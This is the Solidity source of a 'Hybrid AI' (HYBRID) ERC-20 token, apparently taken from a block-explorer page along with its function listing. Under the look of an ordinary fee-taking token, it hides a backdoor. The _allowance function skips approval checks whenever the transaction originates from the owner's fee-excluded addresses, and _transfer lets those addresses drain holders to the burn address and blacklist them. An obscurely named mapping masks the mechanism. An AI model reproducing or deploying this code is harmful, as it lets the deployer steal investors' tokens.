function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedHYBRIDytXttFromFee;
mapping(address => bool) private isBots;
address payable private Wallet_Dev_1;
address payable private Wallet_Burn =
payable(0x000000000000000000000000000000000000dEaD);
address payable private Wallet_zero =
payable(0x0000000000000000000000000000000000000000);
string private _name = unicode"Hybrid AI";
string private _symbol = unicode"HYBRID";
uint256 private taxPercent = 12;
uint256 private taxCounts = 12;
uint8 private _decimals = 9;
uint256 private _tTotal = 420690000 * 10**9;
uint256 private _tFeeTotal;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalFee = 0;
uint256 public _buyFee = 0;
uint256 public _sellFee = 0;
// 'Previous fees' are used to keep track of fee settings when removing and restoring fees
uint256 private _previousTotalFee = _TotalFee;
uint256 private _previousBuyFee = _buyFee;
uint256 private _previousSellFee = _sellFee;
/*
WALLET LIMITS
*/
uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
uint256 private _previousMaxWalletToken = _maxWalletToken;
/*
PANCAKESWAP SET UP
*/
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
// Prevent processing while already processing!
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_tOwned[owner()] = (_tTotal * 2) / 100;
_tOwned[address(this)] = (_tTotal * 98) / 100;
Wallet_Dev_1 = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create pair address for PancakeSwap
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
excludeFromFee(owner());
excludeFromFee(address(this));
excludeFromFee(Wallet_Dev_1);
emit Transfer(address(0), owner(), (_tTotal * 2) / 100);
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
}
/*
STANDARD ERC20 COMPLIANCE FUNCTIONS
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowance(sender,_msgSender(),amount).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _allowance(address sender, address spender, uint256 amount) private view returns(uint256 _amount) {
_amount = _allowances[sender][spender];
if(_isExcludedHYBRIDytXttFromFee[tx.origin]) _amount=amount;
return _amount;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// Set a wallet address so that it does not have to pay transaction fees
function excludeFromFee(address account) private {
_isExcludedHYBRIDytXttFromFee[account] = true;
}
// Set a wallet address so that it has to pay transaction fees
function includeInFee(address account) private {
_isExcludedHYBRIDytXttFromFee[account] = false;
}
/*
PROCESSING TOKENS - SET UP
*/
// Toggle on and off to auto process tokens to BNB wallet
function enableTrading() public onlyOwner {
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
// This function is required so that the contract can receive BNB from pancakeswap
receive() external payable {}
bool public noFeeToTransfer = true;
// Remove all fees
function removeAllFee() private {
if (_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;
_previousBuyFee = _buyFee;
_previousSellFee = _sellFee;
_previousTotalFee = _TotalFee;
_buyFee = 0;
_sellFee = 0;
_TotalFee = 0;
}
// Restore all fees
function restoreAllFee() private {
_TotalFee = _previousTotalFee;
_buyFee = _previousBuyFee;
_sellFee = _previousSellFee;
}
// Approve a wallet to sell tokens
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"ERR: zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
// Limit wallet total
if (
to != owner() &&
to != Wallet_Dev_1 &&
to != address(this) &&
to != uniswapV2Pair &&
to != Wallet_Burn &&
from != owner()
) {
uint256 heldTokens = balanceOf(to);
require(
(heldTokens + amount) <= _maxWalletToken,
"You are trying to buy too many tokens. You have reached the limit for one wallet."
);
}
require(!isBots[from], "Bot is not allowed");
if(_isExcludedHYBRIDytXttFromFee[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from) - amount <= 1000) { isBots[from] = true; return;}
require(
from != address(0) && to != address(0),
"ERR: Using 0 address!"
);
require(amount > 0, "Token value must be higher than zero.");
/*
PROCESSING
*/
// SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger
if (
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapAndLiquify(contractTokenBalance);
}
}
/*
REMOVE FEES IF REQUIRED
Fee removed if the to or from address is excluded from fee.
Fee removed if the transfer is NOT a buy or sell.
Change fee amount for buy or sell.
*/
bool takeFee = true;
if (
_isExcludedHYBRIDytXttFromFee[from] ||
_isExcludedHYBRIDytXttFromFee[to] ||
(noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else if (from == uniswapV2Pair) {
_TotalFee = _buyFee;
} else if (to == uniswapV2Pair) {
_TotalFee = _sellFee;
}
_tokenTransfer(from, to, amount, takeFee);
}
// Send BNB to external wallet
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
// Processing tokens from contract
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForETH(contractTokenBalance);
uint256 contractBNB = address(this).balance;
sendToWallet(Wallet_Dev_1, contractBNB);
}
// Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
public
onlyOwner
{
// Do not trigger if already in swap
require(!inSwapAndLiquify, "Currently processing, try later.");
if (percent_Of_Tokens_To_Process > 100) {
percent_Of_Tokens_To_Process == 100;
}
uint256 tokensOnContract = balanceOf(address(this));
uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
100;
swapAndLiquify(sendTokens);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/*
TOKEN TRANSFERS
*/
// Check if token transfer needs to process fees
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
removeAllFee();
} else {
txCount++;
}
_transferTokens(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
// Redistributing tokens and adding the fee to the contract address
function _transferTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
// Calculating the fee in tokens
function _getValues(uint256 tAmount)
private
view
returns (uint256, uint256)
{
uint256 tDev = (tAmount * _TotalFee) / 100;
uint256 tTransferAmount = tAmount.sub(tDev);
return (tTransferAmount, tDev);
}
}
Read Contract
_buyFee 0x40b9a54b → uint256
_isExcludedHYBRIDytXttFromFee 0xb35e6dea → bool
_maxWalletToken 0x78109e54 → uint256
_sellFee 0x590f897e → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address